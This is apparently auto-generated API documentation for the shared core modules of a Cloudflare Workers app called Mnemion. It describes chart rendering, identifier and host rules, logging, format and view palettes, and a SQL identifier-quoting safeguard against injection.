The SERVER renderer for a chart spec: pure SVG string, no DOM, no deps. Same spec + palette as the in-hive Recharts renderer (web/src/Chart.tsx, both derive from chart-spec.ts) — this one produces static SVG for published pages and OG cards. Marks: bar | line | area | scatter | pie | donut, single- or multi-series (grouped/stacked), with a legend.

Datuminterface
SeriesDatainterface

Multi-series payload: wide rows (one per x) with one numeric column per series key, already pivoted (chart-spec.pivotSeries) and sorted by x.

ChartSvgOptsinterface
renderChartSvgfunction

=== Unified entry: dispatch a payload to the right mark renderer ============ mark selects the shape; payload.multi selects single vs grouped/stacked.

chartOgSvgfunction

A standalone OG card: wrapped title + the chart, at social dimensions (1200×630). The chart is rendered at the card's exact pixel size (with larger labels) and placed with a plain translate — no nested-svg scaling, which not every SVG renderer handles the same way.

constants.tsshared/core/constants.ts

Product identity — single source of truth for the URI scheme and product name. Import from here instead of hardcoding "mnemion://" in string literals.

urifunction

Build a full URI from a path, e.g. uri("index") → "mnemion://index"

IDENTIFIER_REconst

=== Identifier rule ===

The canonical pattern/facet-name rule (CLAUDE.md "propose_change"): must start with a lowercase letter or underscore, then only a-z, 0-9, hyphens, underscores. Case-sensitive (identifiers are lowercase). This is the SINGLE home for the agent-facing identifier shape — pattern names, facet names, and any user-supplied identifier interpolated into DDL/SQL (which can't be bound, so it must be confirmed to match this rule before quoting). Note: SQL aggregate aliases use a deliberately different rule (case-insensitive, no hyphen — see data.ts ALIAS_RE); don't fold that one in here.

HEX_TOKEN_REconst

=== Hex token rule ===

Route-param guard for hex-encoded capability tokens (invite, upload, document upload). Variable-length: any run of hex digits. One home so the five route rows that gate a :token param share the same shape. The fixed-length variant (/^[a-fA-F0-9]{32}$/) is a DIFFERENT rule (exact length) and stays inline at its single call site.

HIVE_IDconst

=== Hive identity ===

Mnemion is single-hive-per-deploy: one shared store that one or more members authenticate into. The hive's location (which Durable Object) is stable and independent of who logs in — "which hive" and "who am I" are separate concerns. HIVE_ID names the store; the actor (a member label) names the person, carried separately in the session props.

The literal stays "user:owner" so existing single-owner deploys keep their data: this is a rename for clarity, not a re-key. New deploys land on the same DO name.

OWNER_ACTORconst

The sentinel member every hive has. The bootstrap passkey (registered with the master secret) and any member-less legacy token resolve to this actor. Always active; never suspended.

dev-seed.tsshared/core/dev-seed.ts

Dev seed: realistic data for local development

Called from initializeSchema when DEV_SEED is set and no user patterns exist. Uses raw SQL (runs inside blockConcurrencyWhile during DO construction).

seedDevDatafunction
env.d.tsshared/core/env.d.ts

Optional-binding augmentation for the generated worker Env.

R2 (the DOCUMENTS bucket) ships COMMENTED OUT in wrangler.toml by design — Mnemion runs fully without it (see "Document storage requires R2"). So wrangler types never emits DOCUMENTS on the generated global Env, yet the code reads env.DOCUMENTS on the optional path. Declare it here with the honest optional type so the worker type-checks whether or not R2 is enabled/bound.

escape.tsshared/core/escape.ts

One XML/HTML text escaper, shared by every string-built markup surface — the server SVG charts (chart-svg.ts), the server-rendered pages (hive.ts), and the publication renderers (shared/IO/publications.ts) — so the three can't drift (they previously had three near-identical copies, one of which escaped ' and two of which didn't). Escapes the superset, safe in both text and double-quoted attribute contexts. Pure, no deps.

escapeXmlfunction

One XML/HTML text escaper, shared by every string-built markup surface — the server SVG charts (chart-svg.ts), the server-rendered pages (hive.ts), and the publication renderers (shared/IO/publications.ts) — so the three can't drift (they previously had three near-identical copies, one of which escaped ' and two of which didn't). Escapes the superset, safe in both text and double-quoted attribute contexts. Pure, no deps.

format-palette.tsshared/core/format-palette.ts

The format palette — the single declarative home for how a facet's VALUE is rendered (its presentation), distinct from the view palette (which governs layout) and from config roles (which govern a facet's job in a layout).

A facet's effective format is resolved from three sources, most specific first: 1. the view's per-facet override (config.formats[facet] — desk choice) 2. the facet's intrinsic format (_fields.format — the data's nature) 3. a default derived from its type (datetime → date, etc.)

Like view-palette.ts: pure data, ZERO imports, bundled into BOTH the worker (schema enum + validation) and the SPA (a Record<FormatId,…> renderer registry whose compile-time totality binds the two).

FormatTypeinterface
FORMAT_PALETTEconst

Add a format here and the enum, the agent contract, and validation pick it up; the SPA won't compile until it has a matching renderer (Record<FormatId,…>).

isFormatfunction
defaultFormatForTypefunction

The default rendering for a facet that carries no explicit format — derived from its declared type, so a datetime is friendly and a boolean is a check without anyone having to say so. Truth (the type) drives presentation.

resolveFormatfunction

The resolve chain: view override ?? facet intrinsic ?? foreign-key reference ?? type default. A declared foreign key (hasLink) wins over the type default — an FK facet is a reference by nature — but an explicit format still overrides it. Unknown ids fall through (a stale format never crashes a render — it degrades to the next source), so the resolver always returns a real FormatId.

validateFormatsMapfunction

Validate a view's per-facet formats override map: an object of facet-name → format-id. hasFacet null = pattern unknown → skip the facet-existence check (format-id checks still run). Returns [] when valid.

describeFormatPalettefunction

Agent-facing prose, generated from the palette so the contract can't drift from what's enforced. Embedded in the _views + set_facet_format docs.

host.tsshared/core/host.ts

Instance identity is configuration, not request data.

resolveHost is the single decision behind every generated capability URL (upload_url / page_url / og_image / the _system/instance doc): which host does this instance call itself?

why

A meaningfully-configured WORKER_HOST is AUTHORITATIVE and the inbound Host header is IGNORED — so an attacker who sends a spoofed Host on an unauthenticated request (e.g. a /ws upgrade) cannot poison a capability URL handed to the owner. The observed/inbound host is only the fallback for LOCAL DEV, where WORKER_HOST is unset or still the deploy placeholder and the request host IS the right answer. Pulling the priority into a pure function makes the "ignore inbound when configured" property enumerable and testable away from the Durable Object, instead of a behavior asserted only by convention.

WORKER_HOST_PLACEHOLDERconst

The wrangler.toml [vars] default for WORKER_HOST. A deploy that never ran npm run setup (which pins the real host) leaves this placeholder — treated as "not meaningfully configured", so the dev fallback applies.

resolveHostfunction

Resolve the instance host. A real configured WORKER_HOST wins and the inbound lastKnownHost is ignored (the security boundary); otherwise fall back to the observed host, then the placeholder, then "localhost" (local dev only).

log.tsshared/core/log.ts

Structured logging over Cloudflare Workers Logs.

The [observability] block in wrangler.toml turns on Workers Logs, which ingests every console.* line for 7 days AND (invocation_logs) attaches the per-request envelope — method, url, status, outcome, ray id — automatically. So a log site only emits the EVENT plus its own context; request identity is never re-derived here.

This is the ONE home for log SHAPE: every sink emits a single JSON object with a stable event key (so the dashboard can group/filter by it) plus an error/stack when a throwable is attached. Use logError at a caught failure worth investigating; logWarn for a degraded-but-handled path (a swallowed side effect, a fallback taken, a capability unavailable) that would otherwise vanish silently. Keep event a short stable slug (mutate.write_failed, prime.embed_failed), not a sentence.

logErrorfunction

A caught failure worth investigating. err is the throwable (serialized to message/name/stack); fields add structured context (ids, the op, the path).

logWarnfunction

A degraded-but-handled path that must not vanish silently (a swallowed side-effect failure, a fallback taken, an optional capability unavailable).

sql.tsshared/core/sql.ts

=== SQL identifier chokepoint ===

why

The ONE transition map: raw string → SQL identifier. Values are always bound (?); identifiers (table/column/facet names) can't be bound, so they're interpolated as double-quoted identifiers ("name"). That interpolation is the one injection escape in the engine. This module fuses validation and quoting into a single call so the boundary can't be half-crossed: a caller can't quote without validating, and a raw unvalidated identifier physically can't reach SQL through it. Upstream semantic checks (facetMeta / isValidColumn / patternExists / KERNEL_COLUMN_SET) STAY — quoteIdent is defense-in-depth beneath them, the fail-closed last line. An injection-bearing identifier (quotes, spaces, semicolons, --) doesn't match the grammar and THROWS here, even if every upstream check were forgotten.

quoteIdentfunction

Validate name against the canonical identifier grammar (IDENTIFIER_RE) and return it as a SQLite double-quoted identifier ("name"). Throws on any name that doesn't match — the grammar admits pattern names, facet names, and the snake_case kernel columns (created_by/updated_at/…), and nothing else.

Use this for EVERY SQL identifier interpolation. Never interpolate a raw "${name}" into SQL.

text.d.tsshared/core/text.d.ts
view-palette.tsshared/core/view-palette.ts

The view palette — the single declarative home for the UI shapes an agent can author for a pattern. This is the SSOT the rest of the system derives from: - schema.ts derives the _views view_type enum + the agent-facing contract (describeViewPalette) from it - kernel.ts validates every _views write against it (validateViewSpec), fail-closed at the mutate chokepoint - the web SPA dispatches to a component keyed by these same ids, and a compile-time Record<ViewTypeId, …> totality check binds the two

Pure data — bundled into BOTH the worker (server) and the React SPA (client). The only import is its sibling format-palette (also pure data, no env deps): every view may carry a universal formats override map, validated against it.

ConfigKeyinterface
ViewTypeinterface
VIEW_PALETTEconst

The palette. Add a view type here and the enum, the agent contract, and the validator all pick it up; the client won't compile until it has a matching component (Record<ViewTypeId, …>). One table, derive the rest.

isViewTypefunction
describeViewPalettefunction

Agent-facing prose, generated from the palette so the contract can never drift from what the validator enforces. Embedded in the _views schema description.

ValidateOptsinterface
validateViewSpecfunction

Validate a view spec against the palette and, when the target pattern's facets are known, against those facets. hasFacet null = pattern unknown (e.g. a partial update that doesn't carry the pattern) → facet-existence checks are skipped, structural checks still run. Returns [] when valid.

OAUTH_KVinfra
VECTORIZEinfra
AIinfra
+
Generated at 2026-06-22 03:03Z — do not edit; run the harness.